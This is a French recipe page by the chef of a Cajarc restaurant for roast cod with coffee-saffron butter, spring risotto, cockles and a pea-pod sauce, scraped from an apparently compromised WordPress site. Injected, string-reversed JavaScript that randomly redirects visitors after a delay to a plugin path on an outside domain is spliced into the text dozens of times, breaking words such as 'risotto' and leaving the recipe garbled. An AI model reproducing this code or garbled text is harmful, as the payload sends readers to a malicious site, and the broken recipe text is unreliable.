) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_1558807730783{padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 10px !important;padding-right: 10px !important;padding-bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Claude-Emmanuel ROBIN , membre des « Bonnes Tables du Lot » Chef du restaurant « L’Allée des Vignes » à Cajarc et avec la complicité de Régine.
http://www.alleedesvignes.com
https://www.facebook.com/alleedesvignes/?fref=ts

Cabillaud rôti au beurre de café/safran & Risottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to printanier
Etape 1:
Préparer une saumure.
1 L d’eau
100g de sel fin
– Baigner le dos de cabillaud 30 minutes dans la saumure et au réfrigérateur. Rincer,
sécher et conserver au réfrigérateur jusqu’à cuisson.
– Cette même eau servira dans un second temps à dégorger les coques en les déposant
dans la saumure une vingtaine de minutes, afin qu’elles se nettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toient naturellement.
astuce: saler légèrement supprime l’albumine du poisson, désagréable au niveau
visuel et gustatif
Etape 3:
Préparer la garniture risottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.
1 verre de vin blanc
1 oignon, 1 échalote, de aillet
1 poivron rouge, 1 vert, 1 carotte
Petits pois, quelques asperges vertes, pois gourmands, gingembre
– Ciseler finement l’oignon, l’aillet et l’échalote (en garder un peu à part pour les
coques).
– Tailler en fine brunoise les poivrons et la carotte
– Ecosser les petits pois (toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout en réservant les cosses), puis tailler en sifflet les pois
gourmands et les asperges vertes épluchées. Tailler en fine brunoise le
gingembre.
– Chauffer un bouillon
astuce: savoir jusqu’où l’asperge reste tendre et utilisable
Etape 2:
Réaliser un beurre café safran.
1 café serré avec 15 stigmates de safran à infuser la veille pour le lendemain
400g de beurre doux
fleur de sel
– Battre le beurre au batteur en pommade
– Incorporer le café safran et rectifier l’assaisonnement.
– Rouler ensuite des boudins de beurre au film.
astuce: ce beurre peut ensuite être conservé au congélateur
Cabillaud rôti au beurre de café/safran
Risottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to printanier
Etape 5:
Réaliser la cuisson du risottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.
– Suer l’oignon, l’aillet et l’échalote ciselés avec un trait d’huile d’olive.
– Ajouter la brunoise de poivrons et carottes.
– Ajouter le riz et faire suer, déglacer ensuite au vin blanc.
– Mouiller progressivement et régulièrement le riz en contrôlant la cuisson.
– Finaliser la cuisson en ajoutant un peu de parmesan et un trait d’huile d’olive.
astuce: on appelle cette étape « mantecare un risottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to »
Etape 6:
Cuire le dos de cabillaud.
– Fariner très légèrement le poisson.
– Avec un trait d’huile d’olive, un peu de beurre café safran et à feu moyen, saisir la face
côté peau du dos de cabillaud doucement.
astuce: la cuisson côté peau est importante car une couche de fine peau consolide
la pièce entière. Par contre, cuire côté chair peu l’abimer et se défaire.
– Retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourner les pièces côté chair et laisser reposer hors du feu. L’inertie de la chaleur
finalisera la cuisson.
– Au moment de l’envoi de l’assiette, réchauffer au four le poisson à 160°c environ 3
minutes.
Etape 7:
Cuire les coques en marinière
20g beurre / 1 échalote ciselée / 1 gousse d’ail / coriandre sauvage
100g de coques / vin blanc
Etape 4:
Réaliser un petit lait des cosses de petits pois.
astuce: une façon de cuisiner ce qui est destiné aux déchets,
vision un peu de green attitude en utilisant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout.
150g de lait
100g de cosses de petits pois
65g de beurre
– Monter à frémissement le lait avec le beurre.
– Ajouter les cosses de petits pois, et cuire à feu moyen quelques
minutes pour les attendrir.
– Mixer, passer à la passoire, rectifier l’assaisonnement et réserver.
– Suer l’échalote avec le beurre, déglacer au vin blanc et ajouter les coques
– Couvrir, déposer de la coriandre des bois ciselée en fin de cuisson.

 

Recette
Temps de préparation : 90 min

Temps de cuisson : 25 min

Ingrédient :
1 filet de Cabillaud
1 L d’eau
100g de sel fin
1 verre de vin blanc
1 oignon, 1 échalote, de aillet
1 poivron rouge, 1 vert, 1 carotte
1 gingembre.
1 café serré
15 stigmates de safran
400g de beurre doux
fleur de sel
2 oignons
de l’aillet
1 échalote
huile d’olive.
1 Poivrons rouge
1 Poivron jaune
3 carottes.
riz à risottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to
Parmesan
Farine
Ail
Coriandre sauvage
100g de coques / vin blanc
Cosses de petits pois
150g de lait
100g de cosses de petits pois
250g de beurre